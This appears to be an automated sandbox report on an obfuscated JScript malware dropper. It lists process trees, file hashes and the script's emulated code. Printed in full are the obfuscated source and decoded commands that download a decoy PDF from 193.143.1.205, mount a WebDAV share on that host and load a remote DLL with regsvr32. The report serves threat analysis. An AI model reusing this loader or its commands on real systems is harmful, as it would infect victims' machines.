SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17168), with CRLF line terminators
Entropy (8bit):	4.882705897451986
TrID:
File name:	26804379891331232.js
File size:	20'423 bytes
MD5:	78bcb0eaf05dcf149377de29aca93e92
SHA1:	fb579b8d3001f17c260d00534db086c798862f4b
SHA256:	2f1774d8774c6f3a4e3f9cf7ce39614d7a07bc3dd81b5eb70fb21093bf8c0184
SHA512:	7310479c8a973ead6fc19bb76c222400b13bd5d841bfa1c9e29429c8066d9940b2db8834580fac3e9b4d989a0bcf16dde78e021c68b97820ad6a07036c5e7328
SSDEEP:	192:XcGkSIeAiQ8l2LyXtvvfwKl4a4tCChD6k+I9A7PAFfHVAFlbgLI0MC0K8ms3RqX6:JsydXfwMOtZ6MHGFlbAI0MG+
TLSH:	929265DB5662A783C2CC059C82F708E001ED255CCB7EA04C68E052660B7A95DB2FE7FD
File Content Preview:	function iriyel(){vavrflj=[1031,3079,5127,4103,2055,3072];var umksscm=this[zthpudac+yxclt+kgerzl+nosfwhk+bueyh+seakbxgj+kchdpri+ebxhxe](this[avqkbk+rkczp+smsoguxak+kgerzl+ykmlxqg+zthpudac+ebxhxe][jzmkbr+kgerzl+bueyh+yxclt+ebxhxe+bueyh+synkddrt+chrxl+ukmrn

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	03:06:58
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26804379891331232.js"
Imagebase:	0x7ff76cfd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:06:59
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll
Imagebase:	0x7ff68d760000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:06:59
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:06:59
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:07:05
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:07:05
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68d760000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:07:05
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f7790000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:07:05
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:07:06
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:07:06
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1652,i,10768720976208828925,12134824539070305012,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function iriyel() {	iriyel() ➔ undefined
1	vavrflj = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var umksscm = this[zthpudac + yxclt + kgerzl + nosfwhk + bueyh + seakbxgj + kchdpri + ebxhxe] ( this[avqkbk + rkczp + smsoguxak + kgerzl + ykmlxqg + zthpudac + ebxhxe][jzmkbr + kgerzl + bueyh + yxclt + ebxhxe + bueyh + synkddrt + chrxl + ukmrnxmj + bueyh + smsoguxak + ebxhxe] ( avqkbk + rkczp + smsoguxak + kgerzl + ykmlxqg + zthpudac + ebxhxe + rusdu + rkczp + mjkiqas + bueyh + hiegl + hiegl ) [dkqks + bueyh + lyyandoyd + dkqks + bueyh + yxclt + yfefq] ( rndnur + rnkej + mgveqie + obtulgl + opcvxyapz + jzmkbr + bvsoq + dkqks + dkqks + mgveqie + ttnmat + uemjodjx + opcvxyapz + bvsoq + rkczp + mgveqie + dkqks + rcaew + jzmkbr + ktarkzip + kchdpri + ebxhxe + kgerzl + ktarkzip + hiegl + eoqtzhug + ezdgv + yxclt + kchdpri + bueyh + hiegl + rcaew + seakbxgj + kchdpri + ebxhxe + bueyh + kgerzl + kchdpri + yxclt + ebxhxe + ykmlxqg + ktarkzip + kchdpri + yxclt + hiegl + rcaew + ljtqyp + ktarkzip + smsoguxak + yxclt + hiegl + bueyh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( kvanbed = 0 ; kvanbed < vavrflj[hiegl + bueyh + kchdpri + lyyandoyd + ebxhxe + mjkiqas] ; ++ kvanbed )
4	{
5	if ( umksscm == vavrflj[kvanbed] )
6	{
7	umksscm = true;
8	break ;
9	}
10	}
11	if ( umksscm !== true )
12	this[avqkbk + rkczp + smsoguxak + kgerzl + ykmlxqg + zthpudac + ebxhxe][awlkueqor + rnfks + ykmlxqg + ebxhxe] ( );
13	this[avqkbk + rkczp + smsoguxak + kgerzl + ykmlxqg + zthpudac + ebxhxe][jzmkbr + kgerzl + bueyh + yxclt + ebxhxe + bueyh + synkddrt + chrxl + ukmrnxmj + bueyh + smsoguxak + ebxhxe] ( avqkbk + rkczp + smsoguxak + kgerzl + ykmlxqg + zthpudac + ebxhxe + rusdu + rkczp + mjkiqas + bueyh + hiegl + hiegl ) [kgerzl + rnfks + kchdpri] ( smsoguxak + jktpxwgfp + yfefq + eoqtzhug + mhucm + smsoguxak + eoqtzhug + zthpudac + ktarkzip + zcptr + bueyh + kgerzl + nosfwhk + mjkiqas + bueyh + hiegl + hiegl + rusdu + bueyh + lzusznsd + bueyh + eoqtzhug + xqpbut + jzmkbr + ktarkzip + jktpxwgfp + jktpxwgfp + yxclt + kchdpri + yfefq + eoqtzhug + uenold + seakbxgj + kchdpri + mwxytrac + ktarkzip + uspnrrlq + bueyh + xqpbut + avqkbk + bueyh + chrxl + dkqks + bueyh + dobkpks + rnfks + bueyh + nosfwhk + ebxhxe + eoqtzhug + xqpbut + synkddrt + rnfks + ebxhxe + kdgvkvyol + ykmlxqg + hiegl + bueyh + eoqtzhug + xeyfhd + ebxhxe + bueyh + jktpxwgfp + zthpudac + xeyfhd + rcaew + ykmlxqg + kchdpri + mwxytrac + ktarkzip + ykmlxqg + smsoguxak + bueyh + rusdu + zthpudac + yfefq + stwjyyrmp + eoqtzhug + mjkiqas + ebxhxe + ebxhxe + zthpudac + denrk + mhucm + mhucm + ahydqg + mvxgh + ntzusk + rusdu + ahydqg + cbyymuj + ntzusk + rusdu + ahydqg + rusdu + ehwksc + cucaqthel + lblmnz + mhucm + ykmlxqg + kchdpri + mwxytrac + ktarkzip + ykmlxqg + smsoguxak + bueyh + rusdu + zthpudac + mjkiqas + zthpudac + uenold + txicjwr + txicjwr + nosfwhk + ebxhxe + yxclt + kgerzl + ebxhxe + eoqtzhug + xeyfhd + ebxhxe + bueyh + jktpxwgfp + zthpudac + xeyfhd + rcaew + ykmlxqg + kchdpri + mwxytrac + ktarkzip + ykmlxqg + smsoguxak + bueyh + rusdu + zthpudac + yfefq + stwjyyrmp + txicjwr + txicjwr + smsoguxak + jktpxwgfp + yfefq + eoqtzhug + mhucm + smsoguxak + eoqtzhug + kchdpri + bueyh + ebxhxe + eoqtzhug + rnfks + nosfwhk + bueyh + eoqtzhug + rcaew + rcaew + ahydqg + mvxgh + ntzusk + rusdu + ahydqg + cbyymuj + ntzusk + rusdu + ahydqg + rusdu + ehwksc + cucaqthel + lblmnz + iqeoz + eecuwwif + eecuwwif + eecuwwif + eecuwwif + rcaew + yfefq + yxclt + mwxytrac + zcptr + zcptr + zcptr + kgerzl + ktarkzip + ktarkzip + ebxhxe + rcaew + txicjwr + txicjwr + smsoguxak + jktpxwgfp + yfefq + eoqtzhug + mhucm + smsoguxak + eoqtzhug + kgerzl + bueyh + lyyandoyd + nosfwhk + mwxytrac + kgerzl + ntzusk + ehwksc + eoqtzhug + mhucm + nosfwhk + eoqtzhug + rcaew + rcaew + ahydqg + mvxgh + ntzusk + rusdu + ahydqg + cbyymuj + ntzusk + rusdu + ahydqg + rusdu + ehwksc + cucaqthel + lblmnz + iqeoz + eecuwwif + eecuwwif + eecuwwif + eecuwwif + rcaew + yfefq + yxclt + mwxytrac + zcptr + zcptr + zcptr + kgerzl + ktarkzip + ktarkzip + ebxhxe + rcaew + ehwksc + mvxgh + grqujjrw + cbyymuj + ntzusk + grqujjrw + cbyymuj + ahydqg + grqujjrw + ahydqg + kxaxpf + ahydqg + mvxgh + cbyymuj + rusdu + yfefq + hiegl + hiegl, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29643641617194.dll",0,false) ➔ 0
14	}
15	seakbxgj = "r";
16	seakbxgj = "a";
17	seakbxgj = "t";
18	seakbxgj = "A";
19	seakbxgj = "E";
20	seakbxgj = "V";
21	seakbxgj = "I";
22	eoqtzhug = "A";
23	eoqtzhug = "x";
24	eoqtzhug = "G";
25	eoqtzhug = "F";
26	eoqtzhug = "u";
27	eoqtzhug = "s";
28	eoqtzhug = "X";
29	eoqtzhug = "C";
30	eoqtzhug = "n";
31	eoqtzhug = "j";
32	eoqtzhug = "Y";
33	eoqtzhug = "m";
34	eoqtzhug = "O";
35	eoqtzhug = "v";
36	eoqtzhug = "Z";
37	eoqtzhug = "s";
38	eoqtzhug = "T";
39	eoqtzhug = "u";
40	eoqtzhug = "i";
41	eoqtzhug = "e";
42	eoqtzhug = "p";
43	eoqtzhug = "h";
44	eoqtzhug = "N";
45	eoqtzhug = "B";
46	eoqtzhug = "z";
47	eoqtzhug = "J";
48	eoqtzhug = "i";
49	eoqtzhug = "e";
50	eoqtzhug = "F";
51	eoqtzhug = "E";
52	eoqtzhug = "u";
53	eoqtzhug = "H";
54	eoqtzhug = "r";
55	eoqtzhug = "X";
56	eoqtzhug = "R";
57	eoqtzhug = "c";
58	eoqtzhug = "V";
59	eoqtzhug = "R";
60	eoqtzhug = "O";
61	eoqtzhug = "H";
62	eoqtzhug = "W";
63	eoqtzhug = "B";
64	eoqtzhug = "v";
65	eoqtzhug = " ";
66	yfefq = "Q";
67	yfefq = "Z";
68	yfefq = "p";
69	yfefq = "f";
70	yfefq = "j";
71	yfefq = "v";
72	yfefq = "F";
73	yfefq = "a";
74	yfefq = "W";
75	yfefq = "J";
76	yfefq = "X";
77	yfefq = "h";
78	yfefq = "Y";
79	yfefq = "k";
80	yfefq = "h";
81	yfefq = "N";
82	yfefq = "a";
83	yfefq = "d";
84	iqeoz = "g";
85	iqeoz = "V";
86	iqeoz = "p";
87	iqeoz = "Z";
88	iqeoz = "V";
89	iqeoz = "f";
90	iqeoz = "L";
91	iqeoz = "U";
92	iqeoz = "@";
93	zcptr = "B";
94	zcptr = "k";
95	zcptr = "x";
96	zcptr = "C";
97	zcptr = "k";
98	zcptr = "d";
99	zcptr = "l";
100	zcptr = "j";
101	zcptr = "j";
102	zcptr = "Z";
103	zcptr = "L";
104	zcptr = "O";
105	zcptr = "X";
106	zcptr = "g";
107	zcptr = "b";
108	zcptr = "i";
109	zcptr = "t";
110	zcptr = "V";
111	zcptr = "i";
112	zcptr = "v";
113	zcptr = "C";
114	zcptr = "A";
115	zcptr = "J";
116	zcptr = "o";
117	zcptr = "X";
118	zcptr = "t";
119	zcptr = "P";
120	zcptr = "b";
121	zcptr = "n";
122	zcptr = "o";
123	zcptr = "w";
124	xqpbut = "I";
125	xqpbut = "O";
126	xqpbut = "C";
127	xqpbut = "I";
128	xqpbut = "c";
129	xqpbut = "p";
130	xqpbut = "Y";
131	xqpbut = "J";
132	xqpbut = "V";
133	xqpbut = "F";
134	xqpbut = "D";
135	xqpbut = "Q";
136	xqpbut = "F";
137	xqpbut = "N";
138	xqpbut = "U";
139	xqpbut = "M";
140	xqpbut = "L";
141	xqpbut = "H";
142	xqpbut = "t";
143	xqpbut = "E";
144	xqpbut = "-";
145	cbyymuj = "e";
146	cbyymuj = "I";
147	cbyymuj = "L";
148	cbyymuj = "t";
149	cbyymuj = "t";
150	cbyymuj = "c";
151	cbyymuj = "s";
152	cbyymuj = "u";
153	cbyymuj = "c";
154	cbyymuj = "B";
155	cbyymuj = "K";
156	cbyymuj = "t";
157	cbyymuj = "I";
158	cbyymuj = "i";
159	cbyymuj = "u";
160	cbyymuj = "i";
161	cbyymuj = "y";
162	cbyymuj = "I";
163	cbyymuj = "b";
164	cbyymuj = "r";
165	cbyymuj = "N";
166	cbyymuj = "d";
167	cbyymuj = "A";
168	cbyymuj = "E";
169	cbyymuj = "K";
170	cbyymuj = "l";
171	cbyymuj = "d";
172	cbyymuj = "B";
173	cbyymuj = "P";
174	cbyymuj = "H";
175	cbyymuj = "n";
176	cbyymuj = "m";
177	cbyymuj = "X";
178	cbyymuj = "M";
179	cbyymuj = "g";
180	cbyymuj = "l";
181	cbyymuj = "A";
182	cbyymuj = "N";
183	cbyymuj = "V";
184	cbyymuj = "Y";
185	cbyymuj = "A";
186	cbyymuj = "K";
187	cbyymuj = "L";
188	cbyymuj = "4";
189	ukmrnxmj = "U";
190	ukmrnxmj = "T";
191	ukmrnxmj = "J";
192	ukmrnxmj = "e";
193	ukmrnxmj = "f";
194	ukmrnxmj = "K";
195	ukmrnxmj = "R";
196	ukmrnxmj = "f";
197	ukmrnxmj = "i";
198	ukmrnxmj = "D";
199	ukmrnxmj = "S";
200	ukmrnxmj = "o";
201	ukmrnxmj = "j";
202	stwjyyrmp = "g";
203	stwjyyrmp = "O";
204	stwjyyrmp = "o";
205	stwjyyrmp = "W";
206	stwjyyrmp = "j";
207	stwjyyrmp = "p";
208	stwjyyrmp = "p";
209	stwjyyrmp = "y";
210	stwjyyrmp = "b";
211	stwjyyrmp = "P";
212	stwjyyrmp = "x";
213	stwjyyrmp = "N";
214	stwjyyrmp = "i";
215	stwjyyrmp = "i";
216	stwjyyrmp = "V";
217	stwjyyrmp = "u";
218	stwjyyrmp = "o";
219	stwjyyrmp = "J";
220	stwjyyrmp = "l";
221	stwjyyrmp = "M";
222	stwjyyrmp = "H";
223	stwjyyrmp = "h";
224	stwjyyrmp = "z";
225	stwjyyrmp = "A";
226	stwjyyrmp = "T";
227	stwjyyrmp = "P";
228	stwjyyrmp = "M";
229	stwjyyrmp = "I";
230	stwjyyrmp = "j";
231	stwjyyrmp = "L";
232	stwjyyrmp = "d";
233	stwjyyrmp = "n";
234	stwjyyrmp = "x";
235	stwjyyrmp = "u";
236	stwjyyrmp = "f";
237	zthpudac = "w";
238	zthpudac = "J";
239	zthpudac = "T";
240	zthpudac = "q";
241	zthpudac = "J";
242	zthpudac = "U";
243	zthpudac = "u";
244	zthpudac = "x";
245	zthpudac = "c";
246	zthpudac = "O";
247	zthpudac = "K";
248	zthpudac = "B";
249	zthpudac = "T";
250	zthpudac = "L";
251	zthpudac = "q";
252	zthpudac = "m";
253	zthpudac = "C";
254	zthpudac = "O";
255	zthpudac = "A";
256	zthpudac = "A";
257	zthpudac = "P";
258	zthpudac = "a";
259	zthpudac = "t";
260	zthpudac = "e";
261	zthpudac = "e";
262	zthpudac = "k";
263	zthpudac = "n";
264	zthpudac = "X";
265	zthpudac = "k";
266	zthpudac = "c";
267	zthpudac = "r";
268	zthpudac = "o";
269	zthpudac = "F";
270	zthpudac = "L";
271	zthpudac = "p";
272	rusdu = "Q";
273	rusdu = "Z";
274	rusdu = "L";
275	rusdu = "n";
276	rusdu = "b";
277	rusdu = "e";
278	rusdu = "R";
279	rusdu = "C";
280	rusdu = "J";
281	rusdu = "m";
282	rusdu = "j";
283	rusdu = "e";
284	rusdu = "j";
285	rusdu = ".";
286	mwxytrac = "I";
287	mwxytrac = "I";
288	mwxytrac = "v";
289	jktpxwgfp = "r";
290	jktpxwgfp = "v";
291	jktpxwgfp = "M";
292	jktpxwgfp = "l";
293	jktpxwgfp = "F";
294	jktpxwgfp = "A";
295	jktpxwgfp = "T";
296	jktpxwgfp = "h";
297	jktpxwgfp = "C";
298	jktpxwgfp = "G";
299	jktpxwgfp = "c";
300	jktpxwgfp = "Z";
301	jktpxwgfp = "L";
302	jktpxwgfp = "K";
303	jktpxwgfp = "C";
304	jktpxwgfp = "T";
305	jktpxwgfp = "L";
306	jktpxwgfp = "X";
307	jktpxwgfp = "M";
308	jktpxwgfp = "G";
309	jktpxwgfp = "m";
310	jzmkbr = "R";
311	jzmkbr = "G";
312	jzmkbr = "H";
313	jzmkbr = "z";
314	jzmkbr = "U";
315	jzmkbr = "B";
316	jzmkbr = "G";
317	jzmkbr = "j";
318	jzmkbr = "z";
319	jzmkbr = "j";
320	jzmkbr = "F";
321	jzmkbr = "l";
322	jzmkbr = "E";
323	jzmkbr = "u";
324	jzmkbr = "C";
325	jzmkbr = "e";
326	jzmkbr = "Q";
327	jzmkbr = "E";
328	jzmkbr = "N";
329	jzmkbr = "v";
330	jzmkbr = "G";
331	jzmkbr = "W";
332	jzmkbr = "J";
333	jzmkbr = "B";
334	jzmkbr = "d";
335	jzmkbr = "R";
336	jzmkbr = "K";
337	jzmkbr = "d";
338	jzmkbr = "D";
339	jzmkbr = "v";
340	jzmkbr = "X";
341	jzmkbr = "j";
342	jzmkbr = "C";
343	avqkbk = "x";
344	avqkbk = "s";
345	avqkbk = "H";
346	avqkbk = "Z";
347	avqkbk = "T";
348	avqkbk = "U";
349	avqkbk = "f";
350	avqkbk = "W";
351	avqkbk = "i";
352	avqkbk = "n";
353	avqkbk = "G";
354	avqkbk = "i";
355	avqkbk = "t";
356	avqkbk = "V";
357	avqkbk = "o";
358	avqkbk = "v";
359	avqkbk = "N";
360	avqkbk = "Y";
361	avqkbk = "m";
362	avqkbk = "o";
363	avqkbk = "V";
364	avqkbk = "U";
365	avqkbk = "q";
366	avqkbk = "W";
367	avqkbk = "l";
368	avqkbk = "F";
369	avqkbk = "c";
370	avqkbk = "Q";
371	avqkbk = "A";
372	avqkbk = "t";
373	avqkbk = "y";
374	avqkbk = "S";
375	avqkbk = "X";
376	avqkbk = "u";
377	avqkbk = "g";
378	avqkbk = "z";
379	avqkbk = "W";
380	mjkiqas = "w";
381	mjkiqas = "v";
382	mjkiqas = "g";
383	mjkiqas = "b";
384	mjkiqas = "c";
385	mjkiqas = "V";
386	mjkiqas = "h";
387	uspnrrlq = "y";
388	uspnrrlq = "D";
389	uspnrrlq = "X";
390	uspnrrlq = "y";
391	uspnrrlq = "V";
392	uspnrrlq = "X";
393	uspnrrlq = "s";
394	uspnrrlq = "m";
395	uspnrrlq = "e";
396	uspnrrlq = "O";
397	uspnrrlq = "n";
398	uspnrrlq = "w";
399	uspnrrlq = "V";
400	uspnrrlq = "b";
401	uspnrrlq = "b";
402	uspnrrlq = "w";
403	uspnrrlq = "d";
404	uspnrrlq = "P";
405	uspnrrlq = "P";
406	uspnrrlq = "M";
407	uspnrrlq = "D";
408	uspnrrlq = "Y";
409	uspnrrlq = "r";
410	uspnrrlq = "C";
411	uspnrrlq = "I";
412	uspnrrlq = "G";
413	uspnrrlq = "L";
414	uspnrrlq = "w";
415	uspnrrlq = "U";
416	uspnrrlq = "B";
417	uspnrrlq = "G";
418	uspnrrlq = "f";
419	uspnrrlq = "F";
420	uspnrrlq = "x";
421	uspnrrlq = "z";
422	uspnrrlq = "i";
423	uspnrrlq = "z";
424	uspnrrlq = "C";
425	uspnrrlq = "H";
426	uspnrrlq = "k";
427	lzusznsd = "z";
428	lzusznsd = "M";
429	lzusznsd = "G";
430	lzusznsd = "M";
431	lzusznsd = "V";
432	lzusznsd = "R";
433	lzusznsd = "q";
434	lzusznsd = "J";
435	lzusznsd = "B";
436	lzusznsd = "e";
437	lzusznsd = "U";
438	lzusznsd = "a";
439	lzusznsd = "n";
440	lzusznsd = "F";
441	lzusznsd = "e";
442	lzusznsd = "Y";
443	lzusznsd = "J";
444	lzusznsd = "T";
445	lzusznsd = "w";
446	lzusznsd = "W";
447	lzusznsd = "u";
448	lzusznsd = "r";
449	lzusznsd = "W";
450	lzusznsd = "R";
451	lzusznsd = "h";
452	lzusznsd = "g";
453	lzusznsd = "D";
454	lzusznsd = "v";
455	lzusznsd = "u";
456	lzusznsd = "F";
457	lzusznsd = "L";
458	lzusznsd = "c";
459	lzusznsd = "D";
460	lzusznsd = "R";
461	lzusznsd = "p";
462	lzusznsd = "p";
463	lzusznsd = "R";
464	lzusznsd = "x";
465	ttnmat = "D";
466	ttnmat = "l";
467	ttnmat = "M";
468	ttnmat = "a";
469	ttnmat = "j";
470	ttnmat = "g";
471	ttnmat = "a";
472	ttnmat = "Z";
473	ttnmat = "n";
474	ttnmat = "D";
475	ttnmat = "v";
476	ttnmat = "D";
477	ttnmat = "N";
478	kchdpri = "F";
479	kchdpri = "w";
480	kchdpri = "q";
481	kchdpri = "b";
482	kchdpri = "n";
483	hiegl = "k";
484	hiegl = "l";
485	lblmnz = "W";
486	lblmnz = "5";
487	rnkej = "D";
488	rnkej = "B";
489	rnkej = "F";
490	rnkej = "P";
491	rnkej = "B";
492	rnkej = "o";
493	rnkej = "p";
494	rnkej = "E";
495	rnkej = "Z";
496	rnkej = "X";
497	rnkej = "W";
498	rnkej = "Q";
499	rnkej = "b";
500	rnkej = "J";
501	rnkej = "A";
502	rnkej = "V";
503	rnkej = "f";
504	rnkej = "l";
505	rnkej = "p";
506	rnkej = "I";
507	rnkej = "K";
508	ykmlxqg = "y";
